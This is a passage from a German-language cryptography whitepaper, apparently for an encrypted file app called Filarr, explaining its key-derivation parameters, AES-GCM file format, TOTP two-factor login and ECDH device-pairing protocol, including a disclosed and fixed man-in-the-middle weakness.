Diese Werte entsprechen genau der Empfehlung des OWASP Password Storage Cheat Sheet von 2024 für Argon2id. Sie sind das Ergebnis einer Kalibrierung zwischen drei Zielen: aufwendig genug sein, um einen Angreifer abzuschrecken, schnell genug, um den Nutzer nicht zu frustrieren, und sparsam genug mit dem Arbeitsspeicher, um auf Einstiegsrechnern zu laufen.

Warum die Variante Argon2id und nicht Argon2d oder Argon2i? Die drei vom Standard definierten Varianten unterscheiden sich nur in ihrem Verhalten gegenüber Seitenkanal- und GPU-Angriffen. Argon2d ist am widerstandsfähigsten gegen GPUs, aber anfällig für Seitenkanalangriffe: Sein Speicherzugriffsmuster hängt von geheimen Daten ab, sodass ein Angreifer, der die Cache-Hierarchie beobachtet (etwa per Flush+Reload auf einem geteilten Server), Bits des Passworts ableiten kann. Argon2i ist gegen Seitenkanäle widerstandsfähig gebaut (datenunabhängiger Speicherzugriff), verliert aber an GPU-Resistenz. Argon2id ist die Mischvariante: Sie nutzt Argon2i im ersten Durchlauf (wenn das Passwort verarbeitet wird und Seitenkanäle am gefährlichsten sind) und Argon2d in den folgenden Durchläufen (wenn die Daten bereits vermischt sind und GPU-Resistenz zählt). Seit RFC 9106 ist sie die Standardempfehlung für jede allgemeine Verwendung.

Die Wahl von 64 MB Speicher pro Hash ist der Kern der Verteidigung gegen GPUs. Eine moderne GPU wie die RTX 4090 hat etwa 16.000 Rechenkerne und 24 GB VRAM. Sie kann SHA-256-Operationen, bei denen jeder Thread nur ein paar Kilobyte braucht, effizient parallelisieren. Argon2id mit 64 MB pro Hash bedeutet dagegen, dass pro GPU nur 24/0,064 ≈ 375 Hashes parallel laufen können, gegenüber Millionen bei reinem SHA-256. Die Parallelisierung bricht ein, und die Kosten pro Hash explodieren. Das nennt man eine speicherintensive Funktion (memory-hard): Sie ist dafür gebaut, parallele Angriffe wirtschaftlich unerschwinglich zu machen, nicht nur langsam.

4.3 PBKDF2-SHA-512-Parameter

Für den KEK verwenden wir PBKDF2 mit dieser Konfiguration:

{
  name: 'PBKDF2',
  salt,                 // 16 zufällige Bytes pro Nutzer
  iterations: 600000,
  hash: 'SHA-512',
}

600.000 Iterationen mit SHA-512 liegen weit über den 210.000, die die OWASP für PBKDF2-SHA512 empfiehlt (600.000 ist ihr Wert für SHA-256). Warum ein solcher Abstand? Einfach weil die Kosten für den Nutzer unsichtbar sind (etwa 500 ms auf einem durchschnittlichen Laptop) und der Abstand zu den Empfehlungen etwas Luft gegenüber den Fortschritten der GPUs in den kommenden Jahren verschafft.

Die Wahl von SHA-512 statt SHA-256 verdient eine Erklärung. Beide SHA-Varianten haben gleichwertige kryptografische Eigenschaften, aber SHA-512 verarbeitet pro Iteration Blöcke von 1024 Bit (gegenüber 512 bei SHA-256). Auf einer modernen 64-Bit-CPU ist SHA-512 pro verarbeitetem Byte sogar schneller als SHA-256, weil es nativ auf 64-Bit-Registern arbeitet. Auf einer GPU kehrt sich dieser Vorteil teilweise um: GPUs sind auf 32-Bit-Operationen optimiert, und SHA-512 zwingt sie, 64-Bit-Operationen zu simulieren, was zusätzlichen Aufwand verursacht. Die Zahlen der OWASP spiegeln das wider: Sie empfiehlt 210.000 Iterationen für PBKDF2-SHA512 gegenüber 600.000 für PBKDF2-SHA256, bei vergleichbarer Widerstandsfähigkeit also rund dreimal weniger. Nicht gewaltig, aber kostenlos.

Eine verwandte Frage, die uns manchmal gestellt wird: warum nicht 1 oder 2 Millionen Iterationen statt 600.000? Die Antwort ist eine Frage der Bedienbarkeit: Auf einem müden i5-Laptop von 2018 dauern 600.000 Iterationen etwa 500 ms. Darüber hinaus spürt der Nutzer bei jedem Entsperren sichtbar eine Wartezeit, und die angesammelte Reibung hält davon ab, die App regelmäßig zu nutzen. Der echte Sicherheitsgewinn käme von einer speicherintensiven Funktion wie Argon2id, nicht davon, PBKDF2 auf astronomische Zahlen zu treiben, die nur ein Problem linear verlängern, das GPUs ebenso linear abarbeiten.

4.4 Das Salt, immer einzigartig, immer zufällig

Letztes Element der Ableitung: das Salt. Filarr verwendet für jeden Nutzer ein Salt von 16 Bytes (128 Bit), das crypto.getRandomValues() zufällig erzeugt und das neben dem Hash gespeichert wird. Nie aus dem Benutzernamen abgeleitet, nie für alle Nutzer gleich, nie aus der E-Mail-Adresse abgeleitet. Zwei klassische Gründe rechtfertigen diese Disziplin.

Der erste: Ein zufälliges Salt macht Rainbow Tables nutzlos – jene riesigen Vorberechnungen von Angreifern, die gängigen Passwörtern ihre Hashes zuordnen. Mit einem eigenen Salt pro Nutzer lässt sich eine für die Nutzerin Alice gültige Rainbow Table nicht für den Nutzer Bob wiederverwenden, selbst wenn beide dasselbe Passwort gewählt haben.

Der zweite ist der Schutz vor Wiedererkennung zwischen Nutzern: Wenn Alice und Bob beide das Passwort hunter2 wählen (ein Klassiker), sind ihre abgeleiteten Hashes dank des zufälligen Salts völlig verschieden. Ein Angreifer, der eine Datenbank kompromittiert, kann diese Übereinstimmung nicht erkennen – dabei wäre sie eine sehr wertvolle Information, denn er wüsste dann: Ist eines der beiden Passwörter geknackt, ist es das andere auch.

4.5 Vergleich mit anderen Tools

Um Filarr im Ökosystem einzuordnen, hier die KDF-Entscheidungen einiger bekannter Werkzeuge:

ToolKDFParameterKommentar
Filarr (v2.3)PBKDF2-SHA-512 (KEK) + Argon2id (andere Geheimnisse, Hauptprozess)600k Iter. / m=64MB t=3 p=4Web Crypto kennt kein Argon2 – der KEK bleibt bei PBKDF2
BitwardenPBKDF2-SHA-256600k Iter. (Standard seit 2023)Umstellung auf Argon2id läuft
1PasswordPBKDF2-SHA-256 + Secret Key650k Iter.Der Secret Key (256 Bit, getrennt gespeichert) verdoppelt die Sicherheit
SignalHKDF-SHA-256 (streng genommen keine Passwort-KDF)k. A.Signal hat kein Nutzerpasswort – alles leitet sich aus PIN + Secure Value Recovery ab
KeePassXCArgon2id (oder das ältere AES-KDF)KonfigurierbarStand der Technik auf dem Desktop
LastPassPBKDF2-SHA-256100k Iter. (2024 skandalös – siehe Vorfall 2022)Meiden

Der KEK von Filarr liegt dank seiner PBKDF2-SHA-512-Iterationszahl in der oberen Hälfte der Tabelle, aber Werkzeuge mit Argon2id wie KeePassXC widerstehen GPUs besser. 1Password ergänzt eine Verteidigung anderer Art, den Secret Key – einen 256-Bit-Schlüssel, den der Nutzer außerhalb des Servers aufbewahrt (zum Beispiel als ausgedruckten QR-Code) und der mit dem Passwort kombiniert wird, um den endgültigen KEK abzuleiten. Wir haben dieses Modell für Filarr erwogen, aber die schlechtere Bedienbarkeit (bei jedem neuen Gerät neben dem Passwort eine zusätzliche Datei handhaben) wurde als unvereinbar mit der breiten Zielgruppe des Werkzeugs eingestuft.

5. AES-256-GCM

Jede Datei und jede Notiz wird in Filarr einzeln verschlüsselt – ohne Verkettung zwischen Dateien –, mit AES-256 im GCM-Modus (Galois/Counter Mode), den NIST SP 800-38D 2007 standardisiert hat. Diese Wahl ist in der modernen Kryptografie-Gemeinschaft unumstritten, aber es lohnt sich zu erklären, warum es dieser Modus ist und kein anderer, und welche Fallen man bei seiner Verwendung vermeiden muss.

5.1 Der genaue Aufbau des Chiffretexts

Auf der Festplatte hat eine verschlüsselte Datei folgenden Aufbau:

[4 Bytes FEK-Markierung = 0x46 0x45 0x4B 0x01]  # kennzeichnet Format v1
[12 Bytes zufällige Nonce]                      # einzigartig pro Verschlüsselung
[Chiffretext variabler Länge]
[16 Bytes GCM-Authentifizierungs-Tag]

Die 4-Byte-Markierung ist ein Formatfeld, mit dem Filarr die Abwärtskompatibilität mit Profilen handhabt, die von v1.x migriert wurden (dort nutzte die Verschlüsselung einen lokalen Schlüssel statt des FEK). Die Entschlüsselung liest die ersten 4 Bytes, erkennt das Format und leitet auf den richtigen Codepfad. Das ist defensive kryptografische Versionierung – an dem Tag, an dem wir auf einen anderen Algorithmus umsteigen (zum Beispiel mit dem Post-Quanten-Verfahren Kyber), wird derselbe Mechanismus die gemischten Formate während des Übergangs verwalten.

Die 12 Bytes der Nonce sind öffentlich und werden im Klartext neben dem Chiffretext gespeichert. Das ist bei GCM normal und sicher, wie wir weiter unten zeigen. Der eigentliche Chiffretext ist genau so groß wie der Klartext (GCM ist ein „Stream“-Modus ohne Padding), und die letzten 16 Bytes sind das Authentifizierungs-Tag, mit dem die Entschlüsselung jede Veränderung erkennt.

5.2 Warum GCM und nicht CBC, CTR oder ChaCha20?

Die Landschaft der symmetrischen Verschlüsselungsmodi ist vielschichtiger, als sie scheint. Hier die wichtigsten Kandidaten und ihre Abwägungen:

ModusVertraulichkeitIntegritätLeistungSeitenkanäleUrteil
AES-ECB❌ (Muster sichtbar)❌SchnellWiderstandsfähigVerboten
AES-CBC✅❌ (nicht authentifiziert)MittelRisiko Padding-OracleAllein meiden
AES-CBC + HMAC✅✅Langsam (2 Durchläufe)OKOK, aber komplex
AES-CTR✅❌SchnellOKAllein meiden
AES-GCM✅✅ (AEAD)Schnell (Hardwarebeschleunigung)Gut (außer bei Nonce-Wiederverwendung)Moderner Standard
ChaCha20-Poly1305✅✅ (AEAD)Schnell (Software)Sehr gutAlternative ohne AES-NI

AES-GCM ist aus drei zusammenwirkenden Gründen die moderne Standardwahl. Erstens verbindet es Verschlüsselung und Authentifizierung in einer einzigen Konstruktion (AEAD, Authenticated Encryption with Associated Data): Das 16-Byte-Tag erkennt jede Veränderung des Chiffretexts mit einer Kollisionswahrscheinlichkeit von 2^-128. Wir müssen also nicht von Hand eine Verschlüsselung (CBC) mit einem MAC (HMAC) kombinieren, eine Konstruktion, die in naiven Implementierungen historisch oft schlecht ausgegangen ist (siehe Encrypt-then-MAC vs. MAC-then-Encrypt vs. Encrypt-and-MAC und die Desaster von TLS 1.0 mit der falschen Wahl).

Zweitens profitiert AES-GCM von der Hardwarebeschleunigung AES-NI, die auf allen x86-64-CPUs seit etwa 2010 (Intel) und auf allen ARM64-Prozessoren mit Kryptografie-Erweiterungen seit ARMv8 vorhanden ist. Ein moderner Kern erreicht etwa 5 Gigabyte pro Sekunde mit AES-GCM, sodass die Kosten der Verschlüsselung in der Praxis neben den I/O-Kosten vernachlässigbar sind. Die Alternative ChaCha20-Poly1305 ist ebenfalls sehr schnell, aber in reiner Software; sie ist auf Plattformen ohne AES-NI vorzuziehen (etwa auf einfachen ARM-Mobilgeräten), doch für eine Electron-App auf dem Desktop ist AES-GCM optimal.

Drittens ist AES-GCM ein Standard nach FIPS 140-2 und überall nativ unterstützt: Web Crypto API, Node.js crypto, OpenSSL, libsodium, BoringSSL. TLS 1.3 nutzt es als Standard-Cipher-Suite, Signal zum Verschlüsseln von Nachrichten, Age zum Verschlüsseln von Dateien, AWS für KMS. Es ist der Konsens des Fachgebiets.

5.3 Die tödliche Falle: Forbidden Attack und Nonce-Wiederverwendung

AES-GCM hat eine katastrophale Schwäche, die man kennen muss: Wird eine Nonce mit demselben Schlüssel wiederverwendet, ist die Sicherheit vollständig zerstört. Nicht „ein bisschen gefährlich“ im Sinne von ein paar verlorenen Sicherheitsbits – sondern vollständig: Ein Angreifer kann dann nicht nur entschlüsseln, sondern auch beliebige Chiffretexte fälschen, die die Prüfung bestehen.

Technisch gilt: Beobachtet ein Angreifer zwei Chiffretexte C1 und C2, die mit demselben Paar (K, N) verschlüsselt wurden, kann er zunächst C1 ⊕ C2 = P1 ⊕ P2 berechnen und damit die lineare Kombination der Klartexte offenlegen. Dann kann er durch Lösen des Polynomsystems über dem Galois-Körper GF(2^128), der GCM zugrunde liegt, den internen Authentifizierungsschlüssel H = AES_K(0^128) wiederherstellen. Mit H in der Hand kann der Angreifer das GCM-Tag jedes selbst gebauten Chiffretexts berechnen und so beliebige authentifizierte Chiffretexte fälschen. Dieser Angriff, den Böck, Zauner und Devlin 2016 in ihrer Arbeit Nonce-Disrespecting Adversaries beschrieben haben, wurde im selben Jahr in der Praxis gegen rund 70.000 falsch konfigurierte HTTPS-Server ausgenutzt.

Filarr schützt sich vor dieser Angriffsklasse durch strikte Disziplin: Bei jeder Verschlüsselung rufen wir crypto.getRandomValues(new Uint8Array(12)) auf, um 12 Nonce-Bytes aus einer CSPRNG-Quelle zu erzeugen. Bei 2^96 möglichen Nonces und n unter demselben FEK verschlüsselten Dateien folgt die Kollisionswahrscheinlichkeit dem Geburtstagsparadoxon: etwa n² / 2^97. Verschlüsselt ein Nutzer 2^32 Dateien (vier Milliarden), liegt die Kollisionswahrscheinlichkeit in der Größenordnung von 2^-33 – vernachlässigbar. In der Praxis verschlüsselt ein durchschnittlicher Nutzer über die gesamte Lebensdauer seines Profils höchstens 2^20 Dateien, was eine Kollisionswahrscheinlichkeit von 2^-57 ergibt: unerreichbar.

Wir erzeugen die Nonce nie über einen hochgezählten und gespeicherten Zähler, auch wenn das theoretisch sparsamer mit Zufall umgeht. Der Grund: Ein Absturz zwischen dem Hochzählen und dem Schreiben des Zählers könnte beim Neustart zu einer Nonce-Wiederverwendung führen, also genau zum katastrophalen Szenario. Kryptografischer Zufall bei jeder Verschlüsselung kostet etwas mehr CPU, schließt diese Fehlerklasse aber konstruktionsbedingt aus.

5.4 Die Nonce ist öffentlich, und das ist gewollt

Ein häufiges Missverständnis betrifft die Natur der Nonce: Viele halten sie, in Analogie zum Schlüssel, für ein zusätzliches Geheimnis. Falsch. Bei GCM ist die Nonce kein Geheimnis; sie übernimmt die Rolle des IV (Initialisierungsvektors) und ist konstruktionsbedingt öffentlich. Sie wird im Klartext neben dem Chiffretext gespeichert und mit ihm übertragen. Verboten ist nur ihre Wiederverwendung mit demselben Schlüssel – entscheidend ist nicht die Vertraulichkeit der Nonce, sondern ihre Einzigartigkeit.

5.5 Was genau authentifiziert das GCM-Tag?

Das 16-Byte-Tag am Ende des Chiffretexts authentifiziert gleichzeitig drei Dinge. Zuerst den Chiffretext selbst: Jede Veränderung, selbst eines einzelnen Bits, macht das Tag ungültig, und die Entschlüsselung schlägt fehl. Dann die zugehörigen Daten (AAD, Additional Authenticated Data), falls angegeben – Filarr verwendet sie nicht, aber das Feld der API existiert, und es könnte dazu dienen, einen Chiffretext an öffentliche Metadaten zu binden (zum Beispiel an die Klartext-Kennung der Datei), damit ein Angreifer ihn nicht zwischen Dateien vertauschen kann. Und schließlich, implizit, die Nonce und den Schlüssel: Ein mit einem anderen Paar (K, N) berechnetes Tag besteht die Prüfung nicht, sodass ein Angreifer, der mit dem falschen Schlüssel entschlüsseln will, einen Fehler erhält statt eines stillschweigend verfälschten Klartexts.

Ein wichtiges Detail der API: Wenn crypto.subtle.decrypt() ein ungültiges Tag erkennt, wirft es eine Ausnahme, statt einen teilweisen Klartext zurückzugeben. Das ist die formale Definition von AEAD – niemals werden nicht authentifizierte Daten zurückgegeben, niemals. Ein Angreifer, der den Chiffretext verändert, um auch nur ein kleines Bruchstück des Klartexts zu erhalten, stößt auf diese absolute Garantie von Web Crypto.

6. Zwei-Faktor-Authentifizierung (2FA)

Clientseitige Verschlüsselung schützt Ihre Dateien vor einem kompromittierten Server, aber nicht Ihr Konto vor einer Übernahme aus dem Netz. Ein Angreifer, der Ihr Passwort per Credential Stuffing errät, kann sich anmelden, die für den Server sichtbaren Metadaten abgreifen und die Löschung des Tresors auslösen. Eine Ratenbegrenzung nach IP-Adresse allein reicht nicht: Ein Botnetz, das 5.000 private IP-Adressen rotiert, bleibt unter dem Radar. Seit April 2026 bietet Filarr deshalb eine Zwei-Faktor-Authentifizierung per TOTP an, freiwillig, aktivierbar unter „Settings > Security“ (Einstellungen > Sicherheit), auch für kostenlose Konten.

6.1 Warum TOTP nach RFC 6238

Filarr verwendet standardkonformes TOTP nach RFC 6238: SHA-1, 6 Ziffern, 30 Sekunden Gültigkeit, Toleranzfenster von ±1 Schritt. Das ist eine bewusste Entscheidung gegen WebAuthn/Passkeys. WebAuthn schützt besser vor Phishing, verlangt aber kompatible Hardware (Touch ID, YubiKey, Windows Hello) und ist zwischen Geräten und Browsern ungleichmäßig übertragbar. TOTP funktioniert überall mit jedem Standard-Authenticator – Authy, Google Authenticator, 1Password, Bitwarden und Dutzenden weiteren –, und serverseitig braucht es nur ein Base32-Geheimnis und einen RFC-konformen Prüfer. Diese Übertragbarkeit passt zum Modell „Ihr Passwort bleibt die kryptografische Wahrheitsquelle“: Die 2FA ergänzt die serverseitige Authentifizierung, sie ersetzt nicht die lokale Kryptografie.

6.2 Backup-Codes, gehasht mit HMAC-SHA-256

Bei der Aktivierung erzeugt Filarr 8 einmal verwendbare Backup-Codes. Jeder Code wird als HMAC-SHA-256-Digest gespeichert; der HMAC-Schlüssel wird aus dem JWT_SECRET des Workers abgeleitet, das nie in D1 liegt. HMAC statt bcrypt zu verwenden, ist kein Sicherheitskompromiss: Bei 40 Bit zufälliger Entropie pro Code muss ein Angreifer, der D1 abgreift, außerdem das getrennt gespeicherte JWT_SECRET kompromittieren; und selbst mit beidem bleibt ein Brute-Force-Angriff auf HMAC-SHA-256 über 40 Bit gleichverteilten Zufalls aufwendig. bcrypt mit Kostenfaktor 12 (≈250 ms pro Versuch) ist im CPU-Budget von 50 ms eines Cloudflare Workers schlicht nicht machbar – mit nativem HMAC in Web Crypto dauert die Prüfung Mikrosekunden, und die Betriebskosten sind null.

6.3 Was die 2FA NICHT schützt

Wichtig: Die 2FA schützt nur die Anmeldung am Konto. Sie schiebt bei der Anmeldung eine Hürde in Form eines zweistufigen Ablaufs ein: Passwort → kurzlebiges MFA-Token für 5 Minuten → TOTP-Code oder Backup-Code → Sitzungstokens, mit einer Ratenbegrenzung von 10 Versuchen pro 15 Minuten und IP-Adresse auf der zweiten Stufe. Wenn ein Angreifer aber die serverseitig gespeicherte verschlüsselte Kopie Ihres Hauptschlüssels abgreift, kann er einen Offline-Brute-Force-Angriff versuchen – und dort bewirkt die 2FA überhaupt nichts. Die Arbeit leisten dann allein die Stärke Ihres Passworts und die 600.000 PBKDF2-SHA-512-Iterationen. Die 2FA ist eine Verteidigung gegen Kontoübernahme, getrennt von der kryptografischen Verteidigung; beide ergänzen sich, ersetzen sich aber nicht.

Die Neuerzeugung der Wiederherstellungsphrase (24 Wörter, BIP-39) und die Neuerzeugung der Backup-Codes sind ebenfalls unter „Settings > Security“ verfügbar – beide machen die vorherigen Elemente sofort ungültig.

7. Kopplung mehrerer Geräte

Die gemeinsame Nutzung des FEK auf mehreren Geräten ist wahrscheinlich der kryptografisch heikelste Teil der gesamten Architektur. Die Vorgabe ist klar: Ein Nutzer, der sein Konto bereits auf seinem Laptop entsperrt hat (Gerät A), soll sein Smartphone oder einen zweiten Laptop (Gerät B) demselben Konto hinzufügen können, mit Zugriff auf alle Daten, ohne dass der Server den FEK je im Klartext sieht. Wie überträgt man einen geheimen Schlüssel über einen nicht vertrauenswürdigen Kanal (den Server), ohne dass der Kanal ihn lesen kann? Genau dieses Problem lösen Diffie-Hellman-Schlüsselaustausche seit 1976, mit solider mathematischer Garantie.

7.1 Das vollständige Protokoll ab v2.2.2

Die Grundidee eines Diffie-Hellman-Austauschs ist, dass zwei Parteien ein gemeinsames Geheimnis ableiten können, indem sie über einen offenen Kanal öffentliche Schlüssel austauschen, ohne dass ein passiver Beobachter dieses Geheimnis rekonstruieren kann. In der modernen Kryptografie verwendet man die Variante auf elliptischen Kurven (ECDH), die dieselbe Sicherheit wie das klassische Diffie-Hellman mit viel kürzeren Schlüsseln bietet: Ein ECDH-Schlüssel auf der Kurve P-256 hat 256 Bit, gegenüber etwa 3072 Bit für gleichwertige Sicherheit mit modularem Diffie-Hellman.

Hier das vollständige Protokoll von Filarr:

┌─────────────────────────────┬─────────────────────────────┐
│          GERÄT A            │          GERÄT B            │
├─────────────────────────────┼─────────────────────────────┤
│ 1. (privA, pubA) erzeugen   │                             │
│    ECDH P-256               │                             │
│ 2. 6-stelligen Code erzeugen│                             │
│    via crypto.randomInt()   │                             │
│ 3. PUT /pairing/<code> {    │                             │
│      pubA: base64           │                             │
│    }  (TTL 5 min)           │                             │
│                             │ 4. Nutzer gibt Code ein     │
│                             │ 5. GET /pairing/<code>      │
│                             │    → erhält pubA            │
│                             │ 6. (privB, pubB) erzeugen   │
│                             │ 7. sharedBits =             │
│                             │    ECDH(privB, pubA)        │
│                             │ 8. wrapKey =                │
│                             │    HKDF-SHA-256(            │
│                             │      ikm=sharedBits,        │
│                             │      salt=code,             │
│                             │      info="filarr.          │
│                             │        pairing.wrap.v1",    │
│                             │      length=32              │
│                             │    )                        │
│                             │ 9. PUT /pairing/<code>/     │
│                             │        device-b-pubkey {    │
│                             │      pubB: base64           │
│                             │    }                        │
│ 10. Poll /pairing/<code>    │                             │
│     → erhält pubB           │                             │
│ 11. sharedBits =            │                             │
│     ECDH(privA, pubB)       │                             │
│ 12. wrapKey = HKDF(...)     │                             │
│     (identisch mit B)       │                             │
│ 13. iv = random(12)         │                             │
│ 14. wrappedFEK =            │                             │
│     AES-256-GCM.wrap(       │                             │
│       fek, wrapKey, iv      │                             │
│     )                       │                             │
│ 15. PUT /pairing/<code>/    │                             │
│         wrapped-fek {       │                             │
│       blob: base64(         │                             │
│         iv ++ wrappedFEK    │                             │
│       )                     │                             │
│     }                       │                             │
│                             │ 16. Poll /pairing/<code>    │
│                             │     → erhält blob           │
│                             │ 17. fek = AES-256-GCM       │
│                             │     .unwrap(blob, wrapKey)  │
│                             │ 18. fek speichern via       │
│                             │     safeStorage OS          │
│                             │ 19. DELETE /pairing/<code>  │
└─────────────────────────────┴─────────────────────────────┘

Was der Filarr-Server bei diesem Protokoll durchlaufen sieht, beschränkt sich auf öffentliche Elemente: den öffentlichen Schlüssel von Gerät A (pubA, ein Punkt auf der Kurve P-256, der nach der Definition des ECDLP – Elliptic Curve Discrete Logarithm Problem – nichts über den privaten Schlüssel verrät), symmetrisch den öffentlichen Schlüssel von Gerät B, den 6-stelligen Kopplungscode und einen undurchsichtigen Blob iv ++ wrappedFEK. Dieser Blob ist mit einem Schlüssel verschlüsselt, den ein passiver Server nicht rekonstruieren kann, denn dafür müsste er privA oder privB kennen, flüchtige private Schlüssel, die die Geräte nie verlassen. Ein aktiv böswilliger Server könnte sich in dieser Version des Austauschs jedoch als Man-in-the-Middle dazwischenschalten: Er kennt den Code, der zugleich sein Suchschlüssel und das HKDF-Salt ist, und könnte daher durch Unterschieben eigener öffentlicher Schlüssel den FEK auspacken und für Gerät B neu einpacken, ohne dass Gerät B etwas bemerkt. Wegen dieser Schwachstelle ist das Protokoll inzwischen auf eine zweite Version umgestellt worden: Gerät A legt ein 32-Byte-Geheimnis in den QR-Code, das an keine Serverroute geht und den Code als HKDF-Salt ersetzt; Gerät A legt sich auf seinen öffentlichen Schlüssel fest, bevor es den von Gerät B sieht; und beide Bildschirme zeigen sechs aus dem Austausch abgeleitete Prüfziffern, die Sie bestätigen, bevor der FEK eingepackt wird.

7.2 HKDF Extract-Expand und warum es in v2.2.2 hinzukommen musste

Vor v2.2.2 verwendete der Code die rohen 256 Bit, die crypto.subtle.deriveBits() zurückgibt, direkt als AES-256-Schlüssel zum Einpacken des FEK. Das funktioniert in der Praxis – die 256 Bit sind innerhalb der Kurvengruppe zufällig –, verletzt aber technisch die formalen Annahmen, unter denen AES-GCM als sicher bewiesen ist.

Das subtile Problem: Die Bits eines ECDH-Punkts sind in {0, 1}^256 nicht gleichverteilt. Sie sind innerhalb der Gruppe zufällig – sie stellen also einen zufälligen Punkt auf der elliptischen Kurve dar –, aber die Struktur der Kurve bringt es mit sich, dass manche 256-Bit-Folgen keinem gültigen Punkt entsprechen, während andere häufiger vorkommen. Diese Ungleichverteilung ist mit bloßem Auge nicht sichtbar (die Koordinaten sehen wie Rauschen aus), aber statistisch messbar, und vor allem bricht sie den Sicherheitsbeweis von AES-GCM, der gleichverteilt zufällige Schlüssel in {0, 1}^256 voraussetzt.

Die Standardantwort auf dieses Problem ist HKDF (RFC 5869), eine zweistufige Konstruktion, die jede ausreichend entropiereiche Quelle in einen gleichverteilten Schlüssel umwandelt. Der erste Schritt, Extract, berechnet PRK = HMAC-SHA-256(salt, ikm), wobei ikm das Eingangsschlüsselmaterial ist (in unserem Fall die ECDH-sharedBits). Das Ergebnis PRK ist ein verdichteter pseudozufälliger Schlüssel, gleichverteilt in {0, 1}^256. Der zweite Schritt, Expand, leitet den oder die Ausgabeschlüssel über OKM = HMAC-SHA-256(PRK, info || 0x01) ab. Diese Trennung in zwei Phasen ist formal analysiert: Sie beweist, dass ein Gegner, der OKM beobachtet, die Verteilung der Ausgabe nicht von einer echten zufälligen Gleichverteilung unterscheiden kann, selbst wenn er Zugriff auf ikm hat (unter vernünftigen Annahmen über HMAC).

HKDF in Filarr v2.2.2 hinzuzufügen, war eine Härtung im Sinne der gestaffelten Verteidigung: In der Praxis nutzte 2026 kein bekannter Angriff die Ungleichverteilung von ECDH-Bits gegen AES-GCM aus, aber wer die formalen Annahmen einhält, wird nicht überrascht, falls morgen eine wissenschaftliche Arbeit einen neuen Angriff veröffentlicht, der diese Ungleichverteilung ausnutzt.

7.3 Der Domänentrenner, doppelt hält besser

Das Feld info von HKDF, das wir auf die feste Zeichenkette "filarr.pairing.wrap.v1" gesetzt haben, ist keine Kosmetik. Es erfüllt eine wichtige Funktion namens Domänentrennung: Es garantiert, dass dieselbe Entropiequelle (sharedBits) für zwei verschiedene Verwendungen nie denselben abgeleiteten Schlüssel liefert, selbst mit demselben Algorithmus (hier HKDF-SHA-256).

Stellen Sie sich vor, wir fügen morgen eine neue Funktion hinzu: das Signieren von Synchronisationsmanifesten mit einem Schlüssel, der aus dem ECDH-Austausch der Kopplung abgeleitet ist. Würden wir HKDF mit demselben Parameter info verwenden, wäre der Signaturschlüssel mit dem Einpackschlüssel identisch, und es entstünde eine versteckte Abhängigkeit zwischen zwei verschiedenen kryptografischen Primitiven. Ein Angriff auf das eine (zum Beispiel ein über einen Seitenkanal abgeflossener Signaturschlüssel) würde das andere kompromittieren. Mit einem eigenen info pro Verwendung ("filarr.pairing.wrap.v1" vs. "filarr.pairing.sign.v1") sind die abgeleiteten Schlüssel unter den HKDF-Annahmen unabhängig, auch wenn sie von denselben sharedBits ausgehen. Das ist das Muster, das NIST SP 800-56C für alle Schlüsselableitungen aus einem gemeinsamen Geheimnis empfiehlt.

Auch das Suffix v1 im Label ist gewollt: Wenn wir den Einpackalgorithmus ändern (zum Beispiel auf ChaCha20-Poly1305), wechseln wir zu v2 und garantieren so, dass ein mit der alten Version verschlüsselter Blob nicht versehentlich als neues Format gelesen wird.

7.4 Der 6-stellige Code und seine Sicherheit

Der 6-stellige Code, gezogen zwischen 100000 und 999999, bietet knapp 20 Bit Entropie: 900.000 mögliche Kombinationen. Man könnte befürchten, dass ein Angreifer die API /pairing/<code> per Brute Force durchprobiert, um den Code zu erraten und den verschlüsselten Blob abzufangen. Mehrere übereinanderliegende Verteidigungen machen diesen Angriff undurchführbar.

Erstens hat der Code serverseitig eine Gültigkeit (TTL) von 5 Minuten: Danach wird der Eintrag gelöscht, und der Code entspricht nichts mehr. Dem Angreifer bleiben also nur 5 Minuten für seinen Brute-Force-Angriff. Zweitens wendet der Server zwei Ratenbegrenzungen an. Pro Code: Nach 3 Versuchen, die Kopplungssitzung abzurufen, wird die Kopplung ungültig. Pro IP-Adresse, in Zeitfenstern von 15 Minuten: 10 Versuche bei den Kopplungsaktionen und 600 bei den Routen, die ein wartendes Gerät alle 2 Sekunden abfragt. Selbst mit 600 Versuchen pro Zeitfenster von einer einzigen Adresse aus dauert es etwa 117 Tage, bis die Chance, einen gültigen Code zu treffen, eins zu zwei erreicht. Mathematisch vernachlässigbar – und dazu kommt, dass der Angreifer den Code auch genau in dem Moment erraten müsste, in dem er gültig ist, was dem Problem eine zeitliche Dimension hinzufügt.

Schließlich wird der Code außerhalb des Kanals übertragen: Er wird auf dem Bildschirm von Gerät A angezeigt und auf Gerät B von Hand eingetippt. Der Client von Gerät A erzeugt den Code lokal per crypto.randomInt() und meldet ihn dem Server, der ihn also kennt: Der Code schützt davor, dass ein Dritter ihn errät, nicht vor dem Server selbst (siehe §7.1). Ein Angreifer, der das Netzwerk hinter TLS abhört, sieht den Code nie im Klartext.

Um das Bild zu vervollständigen: ECDH bietet zusätzlich Forward Secrecy: Die privaten Schlüssel privA und privB sind flüchtig und werden nach der Kopplung gelöscht. Gelangt ein Angreifer nach Ablauf an den Code oder kompromittiert er sogar später den Server, kann er den Einpackschlüssel nicht mehr rekonstruieren, weil die privaten Schlüssel nicht mehr existieren.

7.5 Vergleich mit dem Ansatz von Signal

Ein Leser, der Signal kennt, könnte sich fragen, warum Filarr zur Überprüfung nicht die Safety Numbers von Signal verwendet. Die Antwort liegt im unterschiedlichen Anwendungsfall.

Signal verwendet 60-stellige Fingerabdrücke, die aus den dauerhaften öffentlichen Schlüsseln der beiden Kontakte abgeleitet und visuell oder per QR-Code-Scan verglichen werden. Dieses Modell passt zu dauerhaftem Messaging: Hat Alice Bob einmal zu ihren Kontakten hinzugefügt und seine Safety Number überprüft, kann sie ihm jahrelang ohne erneute Prüfung schreiben, solange Bob das Gerät nicht wechselt. Der Einstiegsaufwand ist aber ein Vergleich von 60 Ziffern – in Ordnung für einen Freund, den man persönlich trifft, aber schwerfällig für eine einmalige Kopplung mit sich selbst.

Das Modell von Filarr, näher an Apple Continuity/Handoff oder am Ansatz von WireGuard mit PSK + Schlüsselaustausch, verwendet einen kurzen Einmalcode. Absolut gesehen ist das weniger sicher (20 Bit gegenüber ~200 Bit für eine vollständige Safety Number), passt aber zum seltenen Anwendungsfall, dem eigenen Konto ein neues Gerät hinzuzufügen, mit einem physischen Vertrauenskanal (der Nutzer liest den Code auf einem Bildschirm ab und tippt ihn auf einem anderen ein).

8. Electron-Härtung

